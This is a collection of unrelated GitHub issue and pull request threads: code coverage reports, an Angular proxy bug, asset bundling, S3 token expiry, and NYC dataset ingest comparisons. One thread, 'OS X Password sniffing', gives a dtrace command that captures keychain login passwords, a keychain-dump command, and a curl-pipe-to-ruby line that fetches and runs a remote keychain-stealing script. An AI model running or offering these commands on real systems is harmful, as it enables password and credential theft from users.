11
12
91.67%
[156]

:large_blue_circle:
com/starrocks/sql/optimizer/MvRewritePreprocessor.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/qe/SessionVariable.java
4
4
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MvUtils.java
3
3
100.00%
[]

[FE PR Coverage Check]
:heart_eyes: pass : 41 / 43 (95.35%)
file detail

path
covered_line
new_line
coverage
not_covered_line_detail

:large_blue_circle:
com/starrocks/qe/SessionVariable.java
2
4
50.00%
[2137, 2138]

:large_blue_circle:
com/starrocks/sql/optimizer/MvRewritePreprocessor.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MaterializedViewRewriter.java
16
16
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rewrite/scalar/MvNormalizePredicateRule.java
21
21
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MvUtils.java
1
1
100.00%
[]

[FE PR Coverage Check]
:heart_eyes: pass : 41 / 43 (95.35%)
file detail

path
covered_line
new_line
coverage
not_covered_line_detail

:large_blue_circle:
com/starrocks/qe/SessionVariable.java
2
4
50.00%
[2137, 2138]

:large_blue_circle:
com/starrocks/sql/optimizer/MvRewritePreprocessor.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MaterializedViewRewriter.java
16
16
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rewrite/scalar/MvNormalizePredicateRule.java
21
21
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MvUtils.java
1
1
100.00%
[]

[FE PR Coverage Check]
:heart_eyes: pass : 42 / 44 (95.45%)
file detail

path
covered_line
new_line
coverage
not_covered_line_detail

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MaterializedViewRewriter.java
16
18
88.89%
[1110, 2284]

:large_blue_circle:
com/starrocks/sql/optimizer/MvRewritePreprocessor.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/qe/SessionVariable.java
4
4
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rewrite/scalar/MvNormalizePredicateRule.java
21
21
100.00%
[]

[FE PR Coverage Check]
:heart_eyes: pass : 42 / 44 (95.45%)
file detail

path
covered_line
new_line
coverage
not_covered_line_detail

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MaterializedViewRewriter.java
16
18
88.89%
[1110, 2284]

:large_blue_circle:
com/starrocks/sql/optimizer/MvRewritePreprocessor.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/qe/SessionVariable.java
4
4
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rewrite/scalar/MvNormalizePredicateRule.java
21
21
100.00%
[]

[FE PR Coverage Check]
:heart_eyes: pass : 42 / 44 (95.45%)
file detail

path
covered_line
new_line
coverage
not_covered_line_detail

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MaterializedViewRewriter.java
16
18
88.89%
[1110, 2284]

:large_blue_circle:
com/starrocks/sql/optimizer/MvRewritePreprocessor.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/qe/SessionVariable.java
4
4
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rewrite/scalar/MvNormalizePredicateRule.java
21
21
100.00%
[]

[FE PR Coverage Check]
:heart_eyes: pass : 42 / 44 (95.45%)
file detail

path
covered_line
new_line
coverage
not_covered_line_detail

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MaterializedViewRewriter.java
16
18
88.89%
[1110, 2284]

:large_blue_circle:
com/starrocks/sql/optimizer/MvRewritePreprocessor.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/qe/SessionVariable.java
4
4
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rewrite/scalar/MvNormalizePredicateRule.java
21
21
100.00%
[]

[BE Incremental Coverage Report]
:heart_eyes: pass : 0 / 0 (0%)

[FE Incremental Coverage Report]
:heart_eyes: pass : 39 / 41 (95.12%)
file detail

path
covered_line
new_line
coverage
not_covered_line_detail

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MaterializedViewRewriter.java
13
15
86.67%
[1110, 2286]

:large_blue_circle:
com/starrocks/sql/optimizer/MvRewritePreprocessor.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/qe/SessionVariable.java
4
4
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rewrite/scalar/MvNormalizePredicateRule.java
21
21
100.00%
[]

[BE Incremental Coverage Report]
:heart_eyes: pass : 0 / 0 (0%)

@Mergifyio backport branch-3.1

@Mergifyio backport branch-3.0


proxy ignore !**/mypath not working with build-angular:application builder

Command
serve
Is this a regression?

[X] Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was
angular 16: build-angular:browser builder
Description
build-angular:browser proxy config supported ways to ignore some paths with syntax !**/
just the changing of builder breaks this behavior.
diff in branches

Minimal Reproduction
https://github.com/GreedyA1/test16/tree/main - with application builder

run node server/server.js

run ng serve --proxy-config=proxy.conf.js

checkout for previous builder to branch: browser-builder
https://github.com/GreedyA1/test16/tree/browser-builder - branch with browser builder

run node server/server.js

run ng serve --proxy-config=proxy.conf.js

Exception or Error
No response
Your Environment
_                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/

Angular CLI: 17.1.0
Node: 20.11.0
Package Manager: npm 10.2.4
OS: darwin arm64

Angular: 17.1.0
... animations, cli, common, compiler, compiler-cli, core, forms
... platform-browser, platform-browser-dynamic, router

Package                         Version
---------------------------------------------------------
@angular-devkit/architect       0.1701.0
@angular-devkit/build-angular   17.1.0
@angular-devkit/core            17.1.0
@angular-devkit/schematics      17.1.0
@schematics/angular             17.1.0
rxjs                            7.8.1
typescript                      5.3.3
zone.js                         0.14.3

Anything else relevant?
No response

The above proxy syntax is webpack-dev-server specific and is not handled by the underlying proxy package that is used by Vite.
You could use bypass which makes the proxy compatible with webpack-dev-server and vite.
const PROXY_CONFIG = [
  {
      context: [
        '/api/**',
      ],
      target: 'http://localhost:3000',
      secure: false,
      changeOrigin: true,
      logLevel: 'debug',
      bypass: function(req, res) {
        if (req.originalUrl.includes('/api/shmaybe')) {
          return req.originalUrl;
        }
    },
  },
]

module.exports = PROXY_CONFIG

looks like I'm getting different results depending on builders.

vs webpack

That is due to https://github.com/angular/angular-cli/issues/26917


Option to include/ignore files depending on NODE_ENV

This PR makes it so that you can put dev/stage/prod between // and = to make it so that files are only included if NODE_ENV is dev, stage, or prod.
// Examples:
//
//     //dev= require foo
//     // dev =require foo
//     //dev =require foo
//     //development=require foo
//     //prod=require foo
//     //production=require foo
//     //stage=require foo
//     //staging=require foo

This PR needs some tests though.

The failing test didn't happen on my machine. Probably Travis being slow resulting in a timeout error here: https://github.com/nodeca/mincer/blob/54c0db1324d84d578fb607355769ca64ba9e7c0e/test/examples_test.js#L22

I a strongly against this change it brings couple of problems:

it hard-codes possible env names which is bad on it's own
which is even worse, it makes file bundle different parts depending on NODE_ENV meas problems with caching at bare minimum

If you want to include different parts depending on NODE env you can create multiple files like:
// file: app.js
//= require foo

// file app.development.js
//= require app
//= require debug

And then use different bundle depending on NODE_ENV.
In other words - that is not a task to be solved by mincer.

Hmm, but there are no way to ignore files with Mincer at the moment.
 How can I use mincer to bundle development files instead of production files when NODE_ENV=dev like in your example above?
I want to use non minified library versions when in development.

Mincer does not bundles all files it sees in appended paths. appendPath adds give path to the list of lookup paths, to explain:
assets.appendPath("app/assets/javascripts");
assets.appendPath("vendor/assets/javascripts");

Then, when you will use declaration like:
//= require foobar

Or with something like:
assets.findAsset("foobar");

Mincer will lookup and return first found:

app/assets/javascripts/foobar{.coffee,.ts,.js}
vendor/assets/javascripts/foobar{.coffee,.ts,.js}

Now let's talk about bundling and writing files themselves. If we are talking about using assets server of Mincer then you don't need to do anything extra - just require different assets depending on your NODE_ENV in your view files. For example:
case NODE_ENV
  when "development"
    != javascript("foobar.development")

See examples server.js for javascript helper implementation.
If you are talking about manifest, then you also are in full control of what is gonna be bundled and written. Take a look at example manifest.js for details - it's pretty self-explanatory.

Hmm.
I tried to create a folder structure like:
dev/
    app.js
prod/
    app.js
js/
    app.js

The prod and dev app.js includes the js/app.js like this:
//= require debuglib
//= require ./../js/app.js

and the Mincer environment looks like:
let environment = new Mincer.Environment();
environment.appendPath("app/assets/dev");
environment.appendPath("app/assets/js");
app.use("/assets", mincer.createServer(environment)); // express

But Mincer uses the app.js from the js directory. I want it to use the app.js from the dev directory.

So you have 3 files named the same in different lookup paths, so in case of:
environment.appendPath("app/assets/dev");
environment.appendPath("app/assets/js");

You will have 2 assets matching app name:

app/assets/dev/app.js
app/assets/js/app.js

And which one will be used depends only on the order of which path appended when. Basically you can make this work - but you will be struggling weird issues all the time. Just move your dev and prod under the js, e.g. having structure like this:
js/
  dev/
    app.js
  prod/
    app.js
  app.js

Then you will have js/dev/app.js like this:
//= require ./debuglib
//= require ../app

And your environment will look:
const environment = new Mincer.Environment();
environment.appendPath("app/assets/js");
app.use("/assets", mincer.createServer(environment));

Slightly different version that will look similar to hat you have done but that will work will look like this:
dev/
  app.js
prod/
  app.js
js/
  app.core.js

And your dev/app.js will look like:
//= require debuglib
//= require app.core

And your environment will look like:
const environment = new Mincer.Environment();
environment.appendPath("app/assets/js");
environment.appendPath("app/assets/dev");
app.use("/assets", mincer.createServer(environment));


Restore disabling timeout functionality

Using dbus-send in this manner without --print-reply causes it to
silently fail.
Change-type: patch
Signed-off-by: Chris Crocker-White<EMAIL_ADDRESS>

Mentioned in comment 2 here: https://bugzilla.redhat.com/show_bug.cgi?id=1602985


Fix CAPI Backup and add filter for cluster name (#6313)

Description of changes:
Cherry pick of https://github.com/aws/eks-anywhere/pull/6313
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

/approve


Make AWS S3 expiryWindow configurable to avoid S3 400 Bad Request

We got 400 Bad request returned by S3 complaining token expired when accessing S3 with the presigned URL due to S3 token expired due to ec2RoleProvider default expiryWindow to be 5minute.
So the secret token used to presign URL will not be refreshed until 5 minutes prior to expiration. In the worst case the client pull layers have only 5 minutes to complete, this could be a problem for larger layers or slower network.

https://github.com/aws/aws-sdk-go/blob/1371ed99dade3fe52505d9bdcc945f7adecf9810/aws/defaults/defaults.go#L250
Is it possible to consider taking an option for AWS to configure the expiryWindow?

If the idea sounds reasonable, we are happy to make a PR for this

Can you please confirm what version of registry are you running?

Thanks for the quick reply, the version is https://github.com/distribution/distribution/tree/v2.7.1

Thanks for the quick reply, the version is https://github.com/distribution/distribution/tree/v2.7.1

Ooof, that's what I suspected. That's an ancient registry release. There have been a few news ones over the past year or two but I would not expect those to fix many issues.
I'd encourage you to take https://hub.docker.com/r/distribution/distribution for a spin. Specifically, the edge tag which gets updated regularly.
We're actively working on a new release that should be  due this year.

Thanks for the pointer! Looking at the distribution master code, though, it seems the problem still exists unless we have a way to pass in ExpiryWindow for AWS S3 storage driver, is my understanding correct or there some fixes could resolve this token expiration issue?

Thanks for the pointer! Looking at the distribution master code, though, it seems the problem still exists unless we have a way to pass in ExpiryWindow for AWS S3 storage driver, is my understanding correct or there some fixes that could resolve this token expiration issue?

Quite likely. I've never experienced it and would have to double check, but I thought it was worth pointing out that the version you are running is old and likely has a big pile of security issues (among a bunch of bugs that have been fixed in higher versions)
Do you have an example how I could repro this? Is it just the case of a large layer being pulled?

i think it is same for 3.0.0-alpha.1

It seems we are hardcoding the expiry on the presigned URL to 20 minutes: https://github.com/distribution/distribution/blob/38beeee2c8d88c7a87e5563844aa157ea5615144/registry/storage/driver/s3-aws/s3.go#L1046
We can make this configurable, indeed. It'd be useful on slow networks when pulling large layers as you suggested. Would you be willing to open a PR @shuaichang


java.util.regex.PatternSyntaxException: Unclosed group near index 256

Every time I connect to my server or even load a single player world I see the world for a split second before immediately crashing.
Not sure why this started happening as I was originally able to log into the server just fine. It seemed to start happening after I did a couple of lookups with LogBlock in 2 different worlds and then restarted my client.
Mod versions:
https://www.curseforge.com/minecraft/mc-mods/watson/files/3023241
https://www.curseforge.com/minecraft/mc-mods/malilib/files/2993139
Stack trace: https://pastebin.com/Uuzg62Ws
Config file: https://pastebin.com/zGmyjwMT

Update MaLiLib to MaLiLib 0.10.0-dev.21+arne.2

You can close it if this is fixed for you with that version.


OS X Password sniffing

Don't have time to add this in the appropriate place:
sudo dtrace -n 'pid$target::SecKeychainLogin:entry{trace(copyinstr(uregs[R_ECX]));}' -p $(ps -A | grep -m1 loginwindow | awk '{print $1}') (from https://twitter.com/fel1x/status/613420320104558592)
Dump whole OS X keychain: security dump-keychain -d login.keychain > keychain.txt && srm keychain.txt

This is what I get:
dtrace: invalid probe specifier pid$target::SecKeychainLogin:entry{trace(copyinstr(uregs[R_ECX]));}: pid provider is not installed on this system

:cry:
System info:
$ uname -a                                                                                ⏎
Darwin cdecl.local 13.4.0 Darwin Kernel Version 13.4.0: Wed Mar 18 16:20:14 PDT 2015; root:xnu-2422.115.14~1/RELEASE_X86_64 x86_64

@OJ - It was on Twitter so it has to be true!
Seriously though, the first command appears to work on my MBP:
dtrace: description 'pid$target::SecKeychainLogin:entry' matched 1 probe```

And the second (dump the keychain) works too but pops up a "do you want this app to access your keychain" prompt for each cred that is being dumped. I'm VERY sure that users/victims will notice this.

```└──> $  uname -a
Darwin c02kj19lfft4.home 13.4.0 Darwin Kernel Version 13.4.0: Wed Mar 18 16:20:14 PDT 2015; root:xnu-2422.115.14~1/RELEASE_X86_64 x86_64```

hehe yeah sorry mate. I wasn't implying that it was you. I think it might rely on Yosemite (I'm still on Mavericks).
Fun stuff though!

No worries....good to know where it does/does not work too. I'm on 10.9.5 OS X

Curl https://raw.githubusercontent.com/erran/keyjacker/master/keyjacker.rb | ruby
Co worker Erran wrote this when he was like 16 or so. Still works pretty well on assessments. Again you need to click allow which means you need gui access but I have pulled that off remotely with vnc. Not super stealthy but gets the job done.
Leon Johnson

On Jun 25, 2015, at 6:48 AM, OJ Reeves<EMAIL_ADDRESS>wrote:
This is what I get:
dtrace: invalid probe specifier pid$target::SecKeychainLogin:entry{trace(copyinstr(uregs[R_ECX]));}: pid provider is not installed on this system
System info:
$ uname -a                                                                                ⏎
Darwin cdecl.local 13.4.0 Darwin Kernel Version 13.4.0: Wed Mar 18 16:20:14 PDT 2015; root:xnu-2422.115.14~1/RELEASE_X86_64 x86_64
—
Reply to this email directly or view it on GitHub.


Temporarily ignore access token granted requests.

@jayzes we can just comment it out, push it to prod for a few minutes, let the queue settle down, then push master again.

Test failure is expected...

👍


Next.js version has a bug - fetch failed

The version of next.js currently installed has a bug in production mode - https://github.com/vercel/next.js/issues/49578
It looks like it's been resolved and a new patch should fix it

I still can't get the build command to work with the latest version or latest canary.


Update documentation for async rendering

Description (required)
This updates the documentation related to the changes in https://github.com/withastro/astro/pull/6791
When that PR is merged, Solid users will be able to make use of async Solid features like createResource and lazy in the server rendering phase. This PR explains how to use those newly available features.
I made some small tweaks from the last PR version to try to make it more focused on how an Astro developer would use these features instead of being a technical explanation of how Astro would render the components.
Related issues & labels (optional)

For Astro version: 4.x. See astro PR #6791.

Hello! Thank you for opening your first PR to Astro’s Docs! 🎉
Here’s what will happen next:

Our GitHub bots will run to check your changes.
If they spot any broken links you will see some error messages on this PR.
Don’t hesitate to ask any questions if you’re not sure what these mean!

In a few minutes, you’ll be able to see a preview of your changes on Netlify 🥳

One or more of our maintainers will take a look and may ask you to make changes.
We try to be responsive, but don’t worry if this takes a few days.


Add quickstart for function_calling_config.

This is a standalone guide for using the constrained decoding feature of function calling.
It's meant to be as simple as possible and only focuses on the function_calling_config feature, and is not meant to be a comprehensive guide to function calling (we have that already).

NBReview here: https://app.reviewnb.com/google-gemini/cookbook/pull/31/


Put SiacoinPool inside of database

There are some optimizations that could be made here, but the important part - always use siafund pool from within the database - is complete.
This is necessary to provide safety with the TryTransactions function.

muxado =/

yeah, really annoying. Is it always the TestListen function? I'm trying to reproduce it locally.

build is passed


Different size not taken into account. Is it possible to scale one to the format or size of the other?

Hello,
I came accross your module and find it quite useful. For my usecase I would need a feature to compare even images with different sizes because I receive pictures from different sources showing the same scene. I would like to see these images to be considered "similar" (lower percentage or ratio).
Would that be possible?
Kind regards
Jens

For an immediate solution you could add a step before using diffimg that rescales one of the images to match the other (using PIL or Imagemagick for example), but I'll consider adding that to diffimg itself.

0.3.0 now resizes the 2nd image to match the 1st before calculation. Hopefully this solves your problem!

0.3.0 now resizes the 2nd image to match the 1st before calculation. Hopefully this solves your problem!


Ingest Migration - bytes quarterly datasets

All 31 datasets in the bytes quarterly pull should be migrated. There are a lot - it probably makes sense for a few people to work on this at the same time

[x] dcp_atomicpolygons
[ ] dcp_boroboundaries
[ ] dcp_boroboundaries_wi
[ ] dcp_cb2010
[ ] dcp_cb2010_wi
[ ] dcp_cb2020
[ ] dcp_cb2020_wi
[ ] dcp_cdboundaries
[ ] dcp_cdboundaries_wi
[ ] dcp_cdta2020
[ ] dcp_congressionaldistricts
[ ] dcp_councildistricts
[ ] dcp_councildistricts_wi
[ ] dcp_ct2010
[ ] dcp_ct2010_wi
[ ] dcp_ct2020
[ ] dcp_ct2020_wi
[ ] dcp_electiondistricts
[ ] dcp_electiondistricts_wi
[ ] dcp_firecompanies
[ ] dcp_healthareas
[ ] dcp_healthcenters
[ ] dcp_lion
[ ] dcp_municipalcourtdistricts
[ ] dcp_nta2010
[ ] dcp_nta2020
[ ] dcp_pad
[ ] dcp_policeprecincts
[ ] dcp_school_districts
[ ] dcp_stateassemblydistricts
[ ] dcp_statesenatedistricts

There are a few that aren't in the action - we should see if these are defunct and can just be dropped. But they should probably be migrated too and just added to the action

dcp_municipalcourtdistricts_wi
dcp_stateassemblydistricts_wi
dcp_statesenatedistricts_wi

dcp_atomicpolygons
There's a single different shape - ingest is outputting multipolygon, library regular polygon

Self intersects. Not sure why library isn't making it valid or why the report isn't considering them spatially equal. Calling it okay
________________________________________________________________________________
Tables
    Left: dcp_atomicpolygons_library
    Right: dcp_atomicpolygons_ingest
________________________________________________________________________________
Row count
    Left: 69681
    Right: 69681
________________________________________________________________________________
Column comparison
    Both
        admin_fire
        assemdist
        atomic_num
        atomicid
        borough
        censusbl_1
        censusbl_2
        censusbl_3
        censusbl_4
        censusbl_5
        censusbloc
        censustr_1
        censustr_2
        censustr_3
        censustrac
        commdist
        commercial
        data_library_version
        electdist
        hurricane_
        ogc_fid
        sb1_page
        sb1_volume
        sb2_page
        sb2_volume
        sb3_page
        sb3_volume
        schooldist
        shape_area
        shape_leng
        water_flag
        wkb_geometry
    Left only: None
    Right only: None
    Type differences
        Censustr 1
            Left: character varying
            Right: text
        Censusbl 1
            Left: character varying
            Right: text
        Censustr 3
            Left: character varying
            Right: text
        Assemdist
            Left: character varying
            Right: text
        Censusbl 5
            Left: character varying
            Right: text
        Sb3 page
            Left: character varying
            Right: text
        Sb2 page
            Left: character varying
            Right: text
        Sb2 volume
            Left: character varying
            Right: text
        Censusbl 2
            Left: character varying
            Right: text
        Sb3 volume
            Left: character varying
            Right: text
        Admin fire
            Left: character varying
            Right: text
        Censusbloc
            Left: character varying
            Right: text
        Atomicid
            Left: character varying
            Right: text
        Hurricane
            Left: character varying
            Right: text
        Censusbl 3
            Left: character varying
            Right: text
        Schooldist
            Left: character varying
            Right: text
        Sb1 page
            Left: character varying
            Right: text
        Borough
            Left: character varying
            Right: text
        Water flag
            Left: character varying
            Right: text
        Electdist
            Left: character varying
            Right: text
        Commercial
            Left: character varying
            Right: text
        Censustr 2
            Left: character varying
            Right: text
        Sb1 volume
            Left: character varying
            Right: text
        Atomic num
            Left: character varying
            Right: text
        Censustrac
            Left: character varying
            Right: text
        Censusbl 4
            Left: character varying
            Right: text
        Commdist
            Left: character varying
            Right: text
________________________________________________________________________________
Data comparison
    Key columns
        atomicid
    Left only: None
    Right only: None
    Columns with diffs
        wkb_geometry
    Differences by column
        Wkb geometry
                        ordering_equal  spatially_equal left_geom_type  right_geom_type
            atomicid
<PHONE_NUMBER>           False            False     ST_Polygon  ST_MultiPolygon

dcp_boroboundaries
________________________________________________________________________________
Tables
    Left: dcp_boroboundaries_library
    Right: dcp_boroboundaries_ingest
________________________________________________________________________________
Row count
    Left: 5
    Right: 5
________________________________________________________________________________
Column comparison
    Both
        data_library_version
        ogc_fid
    Left only
        borocode
        boroname
        shape_area
        shape_leng
        wkb_geometry
    Right only
        BoroCode
        BoroName
        Shape_Area
        Shape_Leng
        geom
    Type differences: None
________________________________________________________________________________
Data comparison
    Compared columns: None
    Left only
        Empty DataFrame
        Columns: []
        Index: []
    Right only
        Empty DataFrame
        Columns: []
        Index: []
(.venv) finn@FinnPC:~/Programming/data-engineering$ sudo docker exec de python3 -m dcpy.cli lifecycle scripts validate_ingest run_and_compare dcp_boroboundaries -v 24d -k borocode
INFO:dcpy:Reading template from /home/vscode/workspace/dcpy/lifecycle/ingest/templates/dcp_boroboundaries.yml
INFO:dcpy:Reading template from /home/vscode/workspace/dcpy/lifecycle/ingest/templates/dcp_boroboundaries.yml
INFO:dcpy:downloading https://s-media.nyc.gov/agencies/dcp/assets/files/zip/data-tools/bytes/nybb_24d.zip to tmp/dcp_boroboundaries/staging/nybb_24d.zip
INFO:dcpy:✅ Raw data was found locally at tmp/dcp_boroboundaries/staging/nybb_24d.zip
INFO:dcpy:Unzipping files from tmp/dcp_boroboundaries/staging/nybb_24d.zip...
INFO:dcpy:✅ Successfully extracted the following file(s) from tmp/dcp_boroboundaries/staging/nybb_24d.zip: ['nybb_24d/nybb.shp', 'nybb_24d/nybb.dbf', 'nybb_24d/nybb.shx', 'nybb_24d/nybb.prj', 'nybb_24d/nybb.shp.xml']
/usr/local/lib/python3.12/site-packages/pyogrio/raw.py:198: RuntimeWarning: driver ESRI Shapefile does not support open option CRS
  return ogr_read(
INFO:dcpy:✅ Converted raw data to parquet file and saved as tmp/dcp_boroboundaries/staging/init.parquet
de-dev-f

INFO:dcpy:Importing dcp_boroboundaries pg_dump into sandbox.fvk_compare.dcp_boroboundaries_library
✅ dcp_boroboundaries.sql exists in cache
SET
psql:/home/vscode/workspace/.library/datasets/dcp_boroboundaries/library/dcp_boroboundaries.sql:2: NOTICE:  table "dcp_boroboundaries" does not exist, skipping
DROP TABLE
BEGIN
CREATE TABLE
ALTER TABLE
                             addgeometrycolumn
----------------------------------------------------------------------------
 public.dcp_boroboundaries.wkb_geometry SRID:4326 TYPE:MULTIPOLYGON DIMS:2
(1 row)

COMMENT
ALTER TABLE
ALTER TABLE
ALTER TABLE
ALTER TABLE
COPY 5
CREATE INDEX
COMMIT
INFO:dcpy:Importing dcp_boroboundaries parquet into sandbox.fvk_compare.dcp_boroboundaries_ingest
✅ dcp_boroboundaries.parquet exists in cache
________________________________________________________________________________
Tables
    Left: dcp_boroboundaries_library
    Right: dcp_boroboundaries_ingest
________________________________________________________________________________
Row count
    Left: 5
    Right: 5
________________________________________________________________________________
Column comparison
    Both
        borocode
        boroname
        data_library_version
        ogc_fid
        shape_area
        shape_leng
        wkb_geometry
    Left only: None
    Right only: None
    Type differences
        Boroname
            Left: character varying
            Right: text
________________________________________________________________________________
Data comparison
    Key columns
        borocode
    Left only: None
    Right only: None
    Columns with diffs: None
    Differences by column: None

dcp_boroboundaries_wi
________________________________________________________________________________
Tables
    Left: dcp_boroboundaries_wi_library
    Right: dcp_boroboundaries_wi_ingest
________________________________________________________________________________
Row count
    Left: 5
    Right: 5
________________________________________________________________________________
Column comparison
    Both
        borocode
        boroname
        data_library_version
        ogc_fid
        shape_area
        shape_leng
        wkb_geometry
    Left only: None
    Right only: None
    Type differences
        Boroname
            Left: character varying
            Right: text
________________________________________________________________________________
Data comparison
    Key columns
        borocode
    Left only: None
    Right only: None
    Columns with diffs: None
    Differences by column: None

dcp_cb2020
________________________________________________________________________________
Tables
    Left: dcp_cb2020_library
    Right: dcp_cb2020_ingest
________________________________________________________________________________
Row count
    Left: 37589
    Right: 37589
________________________________________________________________________________
Column comparison
    Both
        bctcb2020
        borocode
        boroname
        cb2020
        ct2020
        data_library_version
        geoid
        ogc_fid
        shape_area
        shape_leng
        wkb_geometry
    Left only: None
    Right only: None
    Type differences
        Bctcb2020
            Left: character varying
            Right: text
        Cb2020
            Left: character varying
            Right: text
        Boroname
            Left: character varying
            Right: text
        Borocode
            Left: character varying
            Right: text
        Geoid
            Left: character varying
            Right: text
        Ct2020
            Left: character varying
            Right: text
________________________________________________________________________________
Data comparison
    Compared columns
        bctcb2020
        borocode
        boroname
        cb2020
        ct2020
        geoid
        shape_area
        shape_leng
        wkb_geometry
    Left only
        Empty DataFrame
        Columns: [shape_leng, bctcb2020, shape_area, wkb_geometry, cb2020, boroname, borocode, geoid, ct2020]
        Index: []
    Right only
        Empty DataFrame
        Columns: [shape_leng, bctcb2020, shape_area, wkb_geometry, cb2020, boroname, borocode, geoid, ct2020]
        Index: []

dcp_cb2020_wi
________________________________________________________________________________
Tables
    Left: dcp_cb2020_wi_library
    Right: dcp_cb2020_wi_ingest
________________________________________________________________________________
Row count
    Left: 37984
    Right: 37984
________________________________________________________________________________
Column comparison
    Both
        bctcb2020
        borocode
        boroname
        cb2020
        ct2020
        data_library_version
        geoid
        ogc_fid
        shape_area
        shape_leng
        wkb_geometry
    Left only: None
    Right only: None
    Type differences
        Geoid
            Left: character varying
            Right: text
        Boroname
            Left: character varying
            Right: text
        Bctcb2020
            Left: character varying
            Right: text
        Borocode
            Left: character varying
            Right: text
        Ct2020
            Left: character varying
            Right: text
        Cb2020
            Left: character varying
            Right: text
________________________________________________________________________________
Data comparison
    Compared columns
        bctcb2020
        borocode
        boroname
        cb2020
        ct2020
        geoid
        shape_area
        shape_leng
        wkb_geometry
    Left only
        Empty DataFrame
        Columns: [geoid, boroname, bctcb2020, wkb_geometry, shape_leng, borocode, ct2020, shape_area, cb2020]
        Index: []
    Right only
        Empty DataFrame
        Columns: [geoid, boroname, bctcb2020, wkb_geometry, shape_leng, borocode, ct2020, shape_area, cb2020]
        Index: []

dcp_cdboundaries_wi
________________________________________________________________________________
Tables
    Left: dcp_cdboundaries_wi_library
    Right: dcp_cdboundaries_wi_ingest
________________________________________________________________________________
Row count
    Left: 71
    Right: 71
________________________________________________________________________________
Column comparison
    Both
        borocd
        data_library_version
        ogc_fid
        shape_area
        shape_leng
        wkb_geometry
    Left only: None
    Right only: None
    Type differences: None
________________________________________________________________________________
Data comparison
    Compared columns
        borocd
        shape_area
        shape_leng
        wkb_geometry
    Left only
        Empty DataFrame
        Columns: [shape_area, shape_leng, wkb_geometry, borocd]
        Index: []
    Right only
        Empty DataFrame
        Columns: [shape_area, shape_leng, wkb_geometry, borocd]
        Index: []

dcp_cdboundaries
________________________________________________________________________________
Tables
    Left: dcp_cdboundaries_library
    Right: dcp_cdboundaries_ingest
________________________________________________________________________________
Row count
    Left: 71
    Right: 71
________________________________________________________________________________
Column comparison
    Both
        borocd
        data_library_version
        ogc_fid
        shape_area
        shape_leng
        wkb_geometry
    Left only: None
    Right only: None
    Type differences: None
________________________________________________________________________________
Data comparison
    Compared columns
        borocd
        shape_area
        shape_leng
        wkb_geometry
    Left only
        Empty DataFrame
        Columns: [borocd, wkb_geometry, shape_area, shape_leng]
        Index: []
    Right only
        Empty DataFrame
        Columns: [borocd, wkb_geometry, shape_area, shape_leng]
        Index: []

dcp_lion
we have a rounding error with shape_leng. Did a basic comparison, ignoring that column. Given that geometries are exactly equal, I think we can ignore the discrepancy
________________________________________________________________________________
Tables
    Left: dcp_lion_library
    Right: dcp_lion_ingest
________________________________________________________________________________
Row count
    Left: 241206
    Right: 241206
________________________________________________________________________________
Column comparison
    Both
        active_flag
        arccenterx
        arccentery
        bike_trafdir
        bikelane
        boe_lgc
        borobndry
        carto_display_level
        conparity
        curveflag
        data_library_version
        facecode
        fcc
        fdnyid
        featuretyp
        fromleft
        fromright
        genericid
        incexflag
        join_id
        l_cd
        l_pd_service_area
        lassmdist
        latomicpolygon
        lblockfaceid
        lboro
        lcb2000
        lcb2000suf
        lcb2010
        lcb2010suf
        lcb2020
        lcb2020suf
        lct1990
        lct1990suf
        lct2000
        lct2000suf
        lct2010
        lct2010suf
        lct2020
        lct2020suf
        legacyid
        lelectdist
        lgc1
        lgc2
        lgc3
        lgc4
        lgc5
        lgc6
        lgc7
        lgc8
        lgc9
        lhi_hyphen
        llo_hyphen
        locstatus
        lschldist
        lsubsect
        lzip
        mapfrom
        mapto
        mh_ri_flag
        nodeidfrom
        nodeidto
        nodelevelf
        nodelevelt
        nonped
        number_park_lanes
        number_total_lanes
        number_travel_lanes
        nypdid
        physicalid
        posted_speed
        r_cd
        r_pd_service_area
        radius
        rassmdist
        ratomicpolygon
        rb_layer
        rblockfaceid
        rboro
        rcb2000
        rcb2000suf
        rcb2010
        rcb2010suf
        rcb2020
        rcb2020suf
        rct1990
        rct1990suf
        rct2000
        rct2000suf
        rct2010
        rct2010suf
        rct2020
        rct2020suf
        relectdist
        rhi_hyphen
        rlo_hyphen
        row_type
        rschldist
        rsubsect
        rw_type
        rzip
        safstreetcode
        safstreetname
        sandistind
        segcount
        segmentid
        segmenttyp
        seqnum
        shape
        shape_length
        snow_priority
        specaddr
        splitelect
        splitschl
        status
        street
        streetcode
        streetwidth_irr
        streetwidth_max
        streetwidth_min
        toleft
        toright
        trafdir
        trafsrc
